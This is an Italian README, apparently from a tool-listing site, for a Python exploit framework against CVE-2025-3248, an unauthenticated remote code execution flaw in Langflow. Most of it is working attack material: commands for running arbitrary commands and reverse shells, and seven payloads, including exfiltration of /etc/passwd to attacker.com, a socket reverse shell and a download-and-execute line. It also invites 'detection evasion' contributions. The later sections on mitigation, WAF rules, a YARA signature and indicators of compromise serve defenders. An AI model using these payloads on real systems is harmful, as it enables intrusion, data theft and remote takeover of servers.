CVE-2025-3248: Scanner di vulnerabilità RCE non autenticata di Langflow

Un framework di exploitation completo in Python per testare e dimostrare CVE-2025-3248, una vulnerabilità critica di esecuzione remota di codice non autenticata in Langflow versioni ≤ 1.3.0.

🔴 Panoramica della vulnerabilità

CVE-2025-3248: Iniezione di codice Langflow RCE

Causa principale

La vulnerabilità risiede nell'endpoint API /api/v1/validate/code, che accetta codice Python arbitrario e lo convalida utilizzando la funzione exec() insicura di Python senza una corretta sanificazione dell'input o sandbox. La vulnerabilità sfrutta il comportamento di Python in cui:

1. I decoratori vengono valutati immediatamente durante la definizione della funzione
2. I valori degli argomenti predefiniti vengono eseguiti durante l'analisi dell'Abstract Syntax Tree (AST)
3. Non esiste alcuna validazione dell'input per prevenire l'esecuzione di codice malevolo

Catena di attacco

Attacker → POST /api/v1/validate/code → Python exec() → RCE
     ↓
   No Auth Required
     ↓
   Arbitrary Python Code
     ↓
   System Command Execution

✨ Caratteristiche

• ✅ Rilevamento Endpoint: Identifica automaticamente istanze Langflow vulnerabili
• ✅ Test Multi-Fase: 4 test progressivi di vulnerabilità
• ✅ Esecuzione Comandi: Esegue comandi di sistema arbitrari sul target
• ✅ Estrazione Ambiente: Recupera variabili d'ambiente e configurazione
• ✅ Operazioni su File: Testa capacità di lettura/scrittura file
• ✅ Supporto Reverse Shell: Avvia sessioni interattive di reverse shell
• ✅ Rilevamento Versione: Identifica informazioni sulla versione di Langflow
• ✅ Output a Colori: Leggibilità migliorata con colori del terminale
• ✅ Gestione Timeout: Timeout delle richieste configurabili
• ✅ Bypass SSL/TLS: Supporto per certificati autofirmati

📦 Requisiti

Python >= 3.7
requests >= 2.25.0

Installa le dipendenze

pip install requests

Opzionale (per una migliore registrazione)

pip install colorama  # Per supporto colore su Windows

🚀 Installazione

Metodo 1: Clona da GitHub

git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py

📖 Utilizzo

Sintassi di base

python3 cve_2025_3248_test.py -t <target_url> [options]

Esempi di avvio rapido

1. Scansione vulnerabilità di base

python3 cve_2025_3248_test.py -t http://target.com

2. Esecuzione di un comando personalizzato

python3 cve_2025_3248_test.py -t http://target.com -c "whoami"

3. Esecuzione di più comandi

python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"

4. Sfruttamento Reverse Shell (Solo test autorizzati)

Passo 1: Avvia un listener netcat sulla tua macchina

nc -lvnp 4444

Passo 2: Esegui l'exploit

python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost YOUR_IP --lport 4444

Esempio:

python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444

5. Scansione con timeout personalizzato

python3 cve_2025_3248_test.py -t http://target.com --timeout 30

Argomenti da riga di comando

positional arguments:
  Nessuno

optional arguments:
  -t, --target TARGET       URL del target (es. http://target.com) [OBBLIGATORIO]
  -c, --command COMMAND     Comando da eseguire (default: id)
  --timeout TIMEOUT         Timeout della richiesta in secondi (default: 10)
  --exploit                 Abilita modalità di sfruttamento (reverse shell)
  --lhost LHOST            Il tuo indirizzo IP per la reverse shell
  --lport LPORT            La tua porta per la reverse shell
  -h, --help               Mostra questo messaggio di aiuto

💾 Variazioni del payload

1. Esecuzione basata su decoratori

payload = {
    "code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
    pass
"""
}

2. Esecuzione tramite argomento predefinito

payload = {
    "code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
    pass
"""
}

3. Esfiltrazione dati

payload = {
    "code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
    pass
"""
}

4. Reverse Shell (One-Liner)

payload = {
    "code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
    pass
"""
}

5. Operazioni di lettura file

payload = {
    "code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
    pass
"""
}

6. Enumerazione variabili d'ambiente

payload = {
    "code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
    pass
"""
}

7. Scarica ed esegui

payload = {
    "code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
    pass
"""
}

🔍 Rilevamento e mitigazione

Per i difensori

Azioni immediate

1. Aggiorna Langflow

   root@kitploit:~

   pip install langflow>=1.3.0
   # oppure
   docker pull langflow:latest
   

2. Limita l'accesso di rete

   root@kitploit:~

   # Nginx reverse proxy - blocca endpoint vulnerabile
   location /api/v1/validate/code {
       deny all;
   }
   

3. Implementa l'autenticazione

   root@kitploit:~

   # Aggiungi middleware di autenticazione
   @app.middleware("http")
   async def auth_middleware(request, call_next):
       if "/api/v1/validate/code" in request.url.path:
           if not verify_auth(request):
               return JSONResponse(status_code=401)
       return await call_next(request)
   

Regole WAF

Regola ModSecurity:

SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"

Regole di rilevamento

Firma YARA:

rule CVE_2025_3248_Langflow_RCE {
    strings:
        $api_path = "/api/v1/validate/code"
        $exec = "exec("
        $subprocess = "subprocess"
        $os_system = "os.system"
    condition:
        $api_path and any of ($exec, $subprocess, $os_system)
}

Monitoraggio e registrazione

# Monitora richieste sospette
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"

# Avvisa su richieste POST all'endpoint vulnerabile
auditctl -w /var/lib/langflow -p wa -k langflow_changes

Indicatori di Compromissione (IoC)

• Richieste POST insolite a /api/v1/validate/code
• Processi generati da Langflow con nomi sospetti
• Connessioni in uscita impreviste dal server Langflow
• File creati con timestamp insoliti in /tmp
• Esecuzione di subprocess Python dal processo Langflow
• Fallimenti di autenticazione seguiti da richieste API
• Picco nell'uso di CPU/Memoria dal container Langflow

🔬 Analisi tecnica

Come funziona la vulnerabilità

La catena di vulnerabilità funziona come segue:

# L'attaccante invia questo payload:
POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json

{
    "code": "def func(x=exec('import os; os.system(\"whoami\")')): pass"
}

# Il server lo elabora:
exec(code)  # ← Pericoloso! Nessuna sanificazione

# Durante l'analisi AST, l'argomento predefinito viene valutato:
# exec('import os; os.system("whoami")')

# Risultato: esecuzione di comandi arbitrari

Perché funzionano i decoratori

Comportamento di Python con i decoratori durante la definizione di funzioni:

# Questo codice viene eseguito immediatamente:
@decorator_expression
def my_function():
    pass

# Ciò significa che questo payload esegue il codice:
@exec("malicious_code_here")
def vulnerable_function():
    pass

Perché è critico

1. Nessuna autenticazione richiesta: Chiunque può accedere all'endpoint
2. Accessibile in rete: Può essere sfruttato da remoto
3. Accesso completo al sistema: Esegue con i privilegi del processo Langflow
4. Nessuna validazione dell'input: Esecuzione diretta del codice
5. Ampiamente distribuito: Utilizzato in ambienti di produzione
6. Alta disponibilità di exploit: POC pubblici disponibili

📊 Cronologia della vulnerabilità

🛡️ Checklist per test difensivi

Quando si eseguono test di sicurezza autorizzati:

• Ottieni autorizzazione scritta prima dei test
• Documenta tutte le attività di test
• Usa ambienti di test isolati quando possibile
• Evita di sfruttare sistemi di produzione inutilmente
• Pulisci eventuali artefatti (file, processi) creati durante i test
• Segnala le scoperte in modo responsabile all'organizzazione target
• Segui le pratiche di divulgazione responsabile
• Mantieni la riservatezza dei risultati dei test

📚 Riferimenti

• Blog di OffSec: Analisi CVE-2025-3248
• SentinelOne: Iniezione di codice Langflow RCE
• Zscaler ThreatLabz: Vulnerabilità RCE CVE-2025-3248
• TrendMicro: Sfruttamento del botnet FLODRIC
• RecordedFuture: Rapporto di sfruttamento attivo
• Exploit-DB: Langflow 1.3.0 RCE
• Avvisi GitHub: GHSA-c995-4fw3-j39m

🤝 Contributi

I contributi sono benvenuti! Segui queste linee guida:

1. Fai il fork del repository
2. Crea un branch di feature (git checkout -b feature/amazing-feature)
3. Esegui il commit delle modifiche (git commit -m 'Add amazing feature')
4. Push al branch (git push origin feature/amazing-feature)
5. Apri una Pull Request

Idee per contributi

• Variazioni aggiuntive del payload
• Tecniche di sfruttamento alternative
• Metodi di evasione del rilevamento
• Strategie di mitigazione
• Miglioramenti alla documentazione
• Correzione di bug

⚠️ Disclaimer

AVVISO LEGALE IMPORTANTE:

Questo strumento è fornito solo a scopo educativo e per test di sicurezza autorizzati. L'accesso non autorizzato ai sistemi informatici è ILLEGALE e viola leggi tra cui:

• Computer Fraud and Abuse Act (CFAA) - USA
• Computer Misuse Act - UK
• Information Technology Act (ITA) - India
• Leggi simili nella tua giurisdizione

Sei l'unico responsabile per:

• ✅ Ottenere autorizzazione scritta esplicita dai proprietari del sistema prima dei test
• ✅ Garantire che tutte le attività siano conformi alle leggi locali e internazionali
• ✅ Utilizzare questo strumento solo su sistemi di tua proprietà o per i quali hai il permesso di testare
• ✅ Mantenere la riservatezza dei risultati di sicurezza
• ✅ Seguire le pratiche di divulgazione responsabile
• ✅ Non utilizzare questo strumento per scopi dannosi

Usando questo strumento, accetti di:

• Non utilizzarlo per accessi o danni non autorizzati
• Accettare piena responsabilità legale per le tue azioni
• Indennizzare e tenere indenni i creatori da qualsiasi responsabilità
• Rispettare tutte le leggi e i regolamenti applicabili

I creatori e i contributori NON SI ASSUMONO ALCUNA RESPONSABILITÀ per l'uso improprio di questo strumento.

📖 Risorse aggiuntive

Materiali di apprendimento

• OWASP Code Injection
• CWE-94: Controllo improprio della generazione di codice
• Sicurezza Python: Pericoli di exec()
• Tecniche di Reverse Shell

Ultimo aggiornamento: 21 novembre 2025

╔═══════════════════════════════════════════════════════════╗
║  CVE-2025-3248: Langflow RCE Vulnerability Scanner v1.0  ║
║  Use Responsibly - Authorized Testing Only               ║
╚═══════════════════════════════════════════════════════════╝